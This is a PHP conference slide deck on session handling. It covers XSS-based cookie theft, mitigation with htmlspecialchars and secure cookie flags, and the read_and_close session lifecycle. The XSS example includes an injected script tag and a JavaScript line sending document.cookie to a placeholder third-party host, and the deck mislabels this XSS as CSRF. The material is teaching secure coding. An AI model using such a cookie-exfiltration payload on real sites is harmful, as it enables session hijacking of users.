PHPCamp Online #3 - 14 Sep 2024

# PHP Session beyond $_SESSION

Client & Server side

Ramesh N Jangid
M-Tech ChE IITK

## Introduction

- HTTP a stateless protocol
- PHP Session
  - **Client side**
    - Cross Site Scripting (XSS) - CSRF Example
    - Sanitising - Cross Site Scripting (XSS)
    - Sanitising - CSRF cookie access
  - **Server side**
    - Required skills / stuff
    - Behaviour - Normal & Read-only session
    - Benchmarking - Normal & Read-only session
    - Sanitising - scope of session attack

## Client side

## Cross Site Scripting (XSS) - CSRF Example

```
——HTML FORM——
<form action="/handler" method="POST">
    <input type="text" name="fullname" />
    <input type="submit" name="submit" value="Submit" />
</form>
```

```
——PHP /handler——
<p>
    Fullname: <?php echo $_POST['fullname']; ?>
</p>
```

```
——Generated HTML——
<p>
  Fullname: <script type="text/javascript" src="http://somesite/csrf-initiator.js"></script>
</p>
```

```
// code inside javascript file to access non-sanitised cookies and send it to third-party - CSRF
window.location = "http://thirdpartysite" + "?cookies=" + encodeURIComponent (document.cookie);
```

## Sanitising - Cross Site Scripting (XSS)

CSRF begins with the scope of Cross Site Scripting (XSS)

Hence sanitise the XSS scope

```
——PHP /handler——
<p>
   Fullname: <?php echo htmlspecialchars ( $_POST[‘fullname’] ); ?>
</p>
```

```
——Generated HTML——
<p>
   Fullname: &lt;script type=“text/javascript” src=“http://somesite/csrf-initiator.js&quot;&gt;&lt;/script&gt;
</p>
```

## Sanitising - CSRF cookie access option 1

```php
<?php
// Non-sanitised

setcookie (
    $name = 'cookie_name',
    $value = 'cookie_value',
    $expires = 0
);
```

```php
<?php
// Sanitised

setcookie (
    $name = 'cookie_name',
    $value = 'cookie_value',
    $expires = 0,
    $path = '/admin',
    $domain = 'ramesh.com',
    $secure = true,
    $httponly = true
);
```

## Sanitising - CSRF cookie access option 2

```php
<?php
// Sanitised

setcookie (
    $name = 'cookie_name',
    $value = 'cookie_value',
    $options = [
        'expires' => 0,
        'path' => '/admin',
        'domain' => 'ramesh.com',
        'secure' => true,
        'httponly' => true,
        'samesite' => 'Strict'
    ]
);
```

// **samesite** option values

'Lax' enables only first-party cookies to be sent/accessed. First-party Cookies are created by a visited website a visitor entered directly. Using first-party cookies means it's your domain collecting data.

'Strict' is a subset of 'lax' and won't fire if the incoming link is from an external site

'None' signals that the cookie data can be shared with third parties/external sites (for advertising, embedded content, etc)

## Server side

## Required skills / stuff

```
// Terminal ( Client side )

// CURL Commands to access a URL.
$ curl http://localhost/session/index.php
$ curl -H "Cookie: PHPSESSID=session-id;" http://localhost/session/index.php

// Benchmarking (Apache Benchmark) Commands for a URL
$ ab -c 1 -n 10 -l http://localhost/session/index.php
$ ab -c 1 -n 10 -H "Cookie: PHPSESSID=session-id;”  -l http://localhost/session/index.php


// PHP end ( Server side )
```

In order to understand session internals we will be using PHP session_set_save_handler function.

## Server side

Session behaviour

## Behaviour - Normal session

```
<?php
include 'session_set_save_handler.php';

session_start ( );

echo 'PHP Response' . PHP_EOL;
```

(No session id)

Output first execution

```
open
create_sid
read
PHP Response
write
close
```

(Session id)

Output following executions

```
open
validate_sid
read
PHP Response
write
close
```

## Behaviour - Read-only session

```
<?php
include 'session_set_save_handler.php';

session_start ( [ 'read_and_close' => true ] );

echo 'PHP Response' . PHP_EOL;
```

(No session id)

Output first execution

```
open
create_sid
read
close
PHP Response
```

(Session id)

Output following executions

```
open
validate_sid
read
close
PHP Response
```

## Behaviour conclusion

- session_start ( )
  - Open
  - Create / Validate session id
  - Read
    - PHP Response
  - **Write**
    - Serialise $_SESSION to save
  - Close

- session_start ( [ 'read_and_close' => true ] )
  - Open
  - Create / Validate session id
  - Read
  - Close
    - PHP Response

PHPCamp Online #3 - 14 Sep 2024

## Server side

Benchmarking session

By Ramesh N Jangid

## Benchmarking - Normal session

```php
<?php // dashboard.php
include 'session_set_save_handler.php';

session_start ( );

if ( ! isset ( $_SESSION[ 'id' ] ) ) { // Auth check
    die( 'Unauthorised' . PHP_EOL );
}

echo 'PHP Response' . PHP_EOL;
```

(No / Invalid session id)

Output

```
open
create_sid / validate_sid
read
Unauthorised
write
close
```

(Valid session id)

Output

```
open
validate_sid
read
PHP Response
write
close
```

## Benchmarking - Read-only session

```
<?php // dashboard.php
include 'session_set_save_handler.php';

session_start ( [ 'read_and_close' => true ] );

if ( ! isset ( $_SESSION[ 'id' ] ) ) { // Auth check
    die( 'Unauthorised' . PHP_EOL );
}

echo 'PHP Response' . PHP_EOL;
```

(No / Invalid session id)

Output
```
open
create_sid / validate_sid
read
close
Unauthorised
```

(Valid session id)

Output
```
open
validate_sid
read
close
PHP Response
```

## Benchmarking conclusion

- session_start ( )
  - **Additional - write operation on access**
    - Normal pages
    - Authentication required pages
  - **Side effect**
    - **Data files** / **Entries** created due to write operation during benchmarking
    - **Scope for session attacks**
- session_start ( [ 'read_and_close' => true ] );
  - **No side effects**
    - Normal pages
    - Authentication required pages

## Sanitising - scope for session attacks

```
<?php // dashboard.php
include 'session_set_save_handler.php';

session_start ( [ 'read_and_close' => true ] );

if ( ! isset ( $_SESSION[ 'id' ] ) ) { // Auth check
    die( 'Unauthorised' . PHP_EOL );
}

echo 'PHP Response 1' . PHP_EOL;

session_start ( );

echo 'PHP Response 2' . PHP_EOL;
```

(No / Invalid session id)

Output
```
open
create_sid / validate_sid
read
close
Unauthorised
```

(Valid session id)

Output
```
open
validate_sid
read
close
PHP Response 1
open
validate_sid
read
PHP Response 2
write
close
```

# Thank you !

polygon.co.in@gmail.com

https://github.com/polygoncoin

**Credits**

- Raghav Rao
- Nishant Asthana
- Manish Deshpande
- Ketan Thaker

Ramesh N Jangid
M-Tech ChE IITK